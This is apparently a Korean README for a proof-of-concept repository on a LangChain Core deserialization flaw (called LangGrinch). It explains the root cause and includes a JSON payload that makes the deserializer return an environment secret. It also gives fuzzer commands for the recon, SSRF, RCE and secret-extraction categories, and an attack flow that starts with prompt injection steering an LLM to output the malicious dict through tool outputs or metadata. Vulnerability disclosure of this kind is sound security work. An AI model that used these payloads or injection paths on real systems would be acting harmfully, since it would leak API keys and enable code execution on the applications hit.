LangChain Core(<0.3.81)의 역직렬화 취약점을 식별 및 시연하기 위한 테스트 프레임워크입니다. 교육용으로만 사용하세요.
LangGrinch-PoC/ │ ├── README.md # Main documentation & writeup ├── PAYLOADS.md # Complete payload arsenal (55+) ├── langgrinch_fuzzer.py # Python payload generator & tester ├── requirements.txt # Python dependencies └── LICENSE # MIT License
---
## 🚀 빠른 시작
### 설치```bash
# Clone the repository
git clone https://github.com/Ak-cybe/LangGrinch-PoC.git
cd LangGrinch-PoC
# Install dependencies
pip install -r requirements.txt
python langgrinch_fuzzer.py --list
python langgrinch_fuzzer.py --category recon python langgrinch_fuzzer.py --category ssrf python langgrinch_fuzzer.py --category rce
python langgrinch_fuzzer.py --secret MY_API_KEY
python langgrinch_fuzzer.py --ssrf http://your-webhook.com/
python langgrinch_fuzzer.py --export payloads.json
---
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/15055/a59cc259070b0a6930250b423ecf6befeab7fd75694091738ff5f8d2899b56ad.gif" width="200" alt="해커 GIF"/>
<img src="https://assets.kitploit.com/production/public/readmes/15055/0751965da24039c9facbe6006461ec38a66ff560b42dc590d1964f43f7f9853d.gif" width="200" alt="보안 GIF"/>
매트릭스 GIF
</p>
---
## 🎯 요약
**CVE-2025-68664 (코드명: LangGrinch)** 는 **LangChain Core Python 패키지**에서 발견된 심각한 **직렬화 주입 취약점**입니다. 이 취약점으로 인해 공격자는 LLM 출력이나 사용자 제어 딕셔너리를 통해 악성 `lc` 마커를 주입하여 다음을 가능하게 합니다:
1. 🔑 **환경 비밀 추출** (API 키, DB 비밀번호)
2. 🌐 **SSRF 공격** (내부 서비스 접근)
3. 💀 **원격 코드 실행** (Jinja2 SSTI 체인)
4. 📂 **파일 시스템 접근** (민감한 파일 읽기)
<table align="center">
<tr>
<td>
### ⚡ 빠른 통계
| 🔥 지표 | 📊 값 |
|-----------|----------|
| **CVE ID** | CVE-2025-68664 |
| **코드명** | LangGrinch |
| **공격 유형** | 역직렬화 주입 |
| **인증 필요** | 아니요 (프롬프트 주입) |
| **복잡도** | 낮음 |
</td>
<td>
### 🎯 영향을 받는 버전
| 📌 속성 | 📝 값 |
|-------------|----------|
| **패키지** | langchain-core |
| **취약 버전** | < 0.3.81, >= 1.0.0 < 1.2.5 |
| **패치 버전** | 0.3.81+, 1.2.5+ |
| **영향** | 비밀 + RCE |
| **CWE** | CWE-502 |
</td>
</tr>
</table>
---
## 🐛 취약점 심층 분석
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/15055/fb07ef9946fd69ee29be7a85737fa8b18fa02c8ec40293de8a4994d5e8419a6a.gif" width="300" alt="버그 GIF"/>
</p>
### 📋 기술 개요
| 속성 | 값 |
|----------|-------|
| 🆔 **CVE ID** | CVE-2025-68664 |
| 🏷️ **코드명** | LangGrinch |
| 📊 **심각도** | 심각 🔴 |
| 🔗 **CWE** | CWE-502 (신뢰할 수 없는 데이터의 역직렬화) |
| 📦 **영향받는 패키지** | `langchain-core` |
| ⚠️ **취약 버전** | `< 0.3.81` 및 `>= 1.0.0, < 1.2.5` |
| ✅ **패치 버전** | `0.3.81+`, `1.2.5+` |
### 🤖 LangChain이란?
LangChain은 **대규모 언어 모델(LLM)** 을 이용한 애플리케이션을 구축하기 위한 인기 있는 Python 프레임워크입니다. 다양한 산업에서 폭넓게 사용됩니다:
| 🏢 사용 사례 | 📝 설명 |
|-------------|----------------|
| 🤖 **AI 챗봇** | 고객 서비스, 지원 에이전트 |
| 🔍 **RAG 시스템** | 검색 증강 생성 |
| 🔧 **AI 에이전트** | 자율 작업 실행 |
| 📊 **데이터 처리** | 문서 분석, 요약 |
| 🔄 **워크플로우 자동화** | AI 기반 파이프라인 |
### 🔧 기술적 근본 원인
LangChain의 내부 직렬화 형식은 특수 마커인 **`lc` 키**를 사용합니다. 딕셔너리에 `lc` 키가 포함되어 있으면 LangChain 역직렬화기는 이를 "신뢰할 수 있는 LangChain 직렬화 객체"로 처리합니다.
**버그는 다음과 같습니다:**
- `dumps()` / `dumpd()` 함수는 사용자/LLM 제어 딕셔너리에서 `lc` 키를 이스케이프하거나 중화하지 않습니다.
- `load()` / `loads()`를 통한 재수화 과정에서 주입된 구조는 **내부 객체**로 처리됩니다.```
🔓 VULNERABILITY CHAIN:
┌─────────────────────────────────────────────────────────────────┐
│ 📝 User/LLM Input → Dictionary with malicious "lc" marker │
│ ↓ │
│ 💾 Application serializes data (dumps/dumpd) │
│ ↓ │
│ ⚠️ "lc" key NOT escaped - remains in serialized form │
│ ↓ │
│ 🔄 Later: Data deserialized (load/loads) │
│ ↓ │
│ 🎯 Deserializer sees "lc" → Treats as LangChain object! │
│ ↓ │
│ 💀 Secret resolution / Object instantiation triggered │
│ ↓ │
│ 💥 SECRETS LEAKED / SSRF / RCE │
└─────────────────────────────────────────────────────────────────┘
LangChain 직렬화 형식에서 딕셔너리 내부에 **"lc": 1**이 있으면 이는 정상 사용자 데이터가 아니라 LangChain 직렬화 객체임을 나타냅니다:```json
{
"lc": 1,
"type": "secret",
"id": ["OPENAI_API_KEY"]
}
역직렬화기가 이 구조를 만나면:
1. `lc` == 1은 LangChain 객체임을 확인합니다.
2. `type` == "secret"은 비밀 해결 경로를 트리거합니다.
3. 환경 변수 이름이 `id` 배열에서 추출됩니다.
4. **결과:** `os.environ["OPENAI_API_KEY"]` 값이 반환됩니다!
### 🗺️ 공격 흐름 다이어그램```mermaid
graph TD
A[🎯 Attacker] -->|Prompt Injection| B[🤖 LLM outputs malicious dict]
B -->|Contains lc marker| C[📝 App serializes LLM output]
C -->|Cache/Log/History| D[💾 Stored in system]
D -->|Later retrieval| E[🔄 Deserialization triggered]
E -->|lc marker detected| F[⚙️ LangChain object resolution]
F -->|type: secret| G[🔑 ENV SECRETS LEAKED]
F -->|type: constructor| H[🏗️ UNSAFE OBJECT INSTANTIATION]
H -->|SSRF Gadget| I[🌐 OUTBOUND CONNECTIONS]
H -->|Jinja2 Template| J[💀 CODE EXECUTION]
style A fill:#ff0000,color:#fff
style G fill:#ff9800,color:#fff
style I fill:#9c27b0,color:#fff
style J fill:#000000,color:#fff
| 📍 주입 지점 | 🎯 작동 방식 |
|---|---|
| LLM 출력 | 프롬프트 주입을 사용하여 LLM이 악성 JSON을 출력하도록 유도 |
| additional_kwargs | 메시지 객체의 추가 필드에 주입 |
| response_metadata | API 응답 메타데이터에 심기 |
| 도구 출력 | 에이전트 도구 결과에 포함 |
| 사용자 메시지 | 직접 사용자 입력 처리 |